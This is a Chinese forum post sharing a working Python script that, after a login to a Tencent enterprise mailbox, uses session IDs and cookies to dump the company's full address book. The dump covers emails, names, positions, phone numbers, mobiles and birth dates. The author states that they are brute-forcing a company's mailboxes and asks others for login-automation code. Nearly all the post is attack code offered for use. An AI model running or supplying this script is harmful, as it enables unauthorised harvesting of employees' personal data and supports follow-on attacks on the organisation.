分享一个腾讯企业邮箱 拖企业通讯录 的 python脚本

Jumbo

最近在爆破某公司邮箱，然后写了个拖企业通讯录的脚本，写的比较渣，大神勿喷。
下面说下用法：
需要先手动登陆腾讯企业邮箱，然后把url中的sid(不是cookie里的)和cookie里的qm_sid、qm_username填到脚本里去，然后运行，会在当前目录下生成两个文件，一个是all_emails.txt，里面是邮箱。
另一个是depart_staff_tree.txt，里面是部门和部门下的人员的树形结构
PS. 看了下腾讯企业邮箱登陆，比较麻烦，有动态生成post参数，有大神写好的，可以分享下哈~
代码如下

1. #!/usr/bin/env python
   
2. # -*- coding: utf-8 -*-
   
3. # author: Liar.Bing
   
4. # description: 获取腾讯企业邮箱通讯录
   
5. 
   
6. import requests
   
7. import re
   
8. 
   
9. import sys;
   
10. reload(sys);
    
11. 
    
12. sys.setdefaultencoding('utf8');
    
13. 
    
14. 
    
15. 
    
16. def print_tree(id, department_infos, level, staff_infors, f):
    
17.   prefix = '----' * level
    
18.   text = prefix + department_infos[id]['name'] + prefix
    
19.   print text
    
20.   f.write(text + '\n')
    
21.   for key, value in department_infos.items():
    
22.     if value['pid'] == id:
    
23.       
    
24.       print_tree(value['id'], department_infos, level+1, staff_infors, f)
    
25.   prefix = '    ' * level   
    
26.   for staff in staff_infors:
    
27.     if staff['pid'] == id:
    
28.       text = prefix + staff['name'] + '  ' + staff['alias']
    
29.       print text
    
30.       f.write(text + '\n')
    
31. 
    
32. if __name__ == "__main__":
    
33.   # url参数中的sid
    
34.   sid = 'xxxx'
    
35.   # cookie中的qm_sid 和 qm_username
    
36.   qm_sid = 'xxx'
    
37.   qm_username='xxx'
    
38. 
    
39.   all_departments_url = 'http://exmail.qq.com/cgi-bin/laddr_biz?action=show_party_list&sid={sid}&t=contact&view=biz'.format(sid=sid)
    
40.   cookies = dict(qm_sid=qm_sid
    
41.     , qm_username=qm_username)
    
42.   request = requests.get(all_departments_url,cookies=cookies)
    
43. 
    
44.   text = request.text
    
45.   regexp = r'{id:"(\S*?)", pid:"(\S*?)", name:"(\S*?)", order:"(\S*?)"}'
    
46.   results = re.findall(regexp, text)
    
47.   department_ids = []
    
48.   department_infors = dict()
    
49.   root_department = None
    
50.   for item in results:
    
51.      
    
52.     department_ids.append(item[0])
    
53.     department = dict(id=item[0], pid=item[1], name=item[2], order=item[3])
    
54.      
    
55.     department_infors[item[0]] = department
    
56.     if item[1] == 0 or item[1] == '0':
    
57.       root_department = department
    
58. 
    
59.   regexp = r'{uin:"(\S*?)",pid:"(\S*?)",name:"(\S*?)",alias:"(\S*?)",sex:"(\S*?)",pos:"(\S*?)",tel:"(\S*?)",birth:"(\S*?)",slave_alias:"(\S*?)",department:"(\S*?)",mobile:"(\S*?)"}'
    
60.   limit = 10000
    
61. 
    
62.   all_emails = []
    
63.   staff_infors = []
    
64.   for department_id in  department_ids:
    
65.     department_staff_url = 'http://exmail.qq.com/cgi-bin/laddr_biz?t=memtree&limit={limit}&partyid={partyid}&action=show_party&sid={sid}'.format(limit=limit, sid=sid, partyid=department_id)
    
66.      
    
67.     request = requests.get(department_staff_url,cookies=cookies)
    
68.      
    
69.     text = request.text
    
70.      
    
71.     results = re.findall(regexp, text)
    
72. 
    
73.      
    
74.     for item in results:
    
75.       all_emails.append(item[3])
    
76.       
    
77.       staff = dict(uin=item[0], pid=item[1], name=item[2], alias=item[3], sex=item[4], pos=item[5], tel=item[6], birth=item[7], slave_alias=item[8], department=item[9], mobile=item[10])
    
78.       staff_infors.append(staff)
    
79. 
    
80.   print str(len(all_emails)) + ' emails'
    
81.   with open('all_emails.txt', 'w') as f:
    
82.     for item in all_emails:
    
83.       f.write(item + '\n')
    
84.    
    
85.   with open('depart_staff_tree.txt', 'w') as f:
    
86.     print_tree(root_department['id'], department_infors, 0, staff_infors, f)

复制代码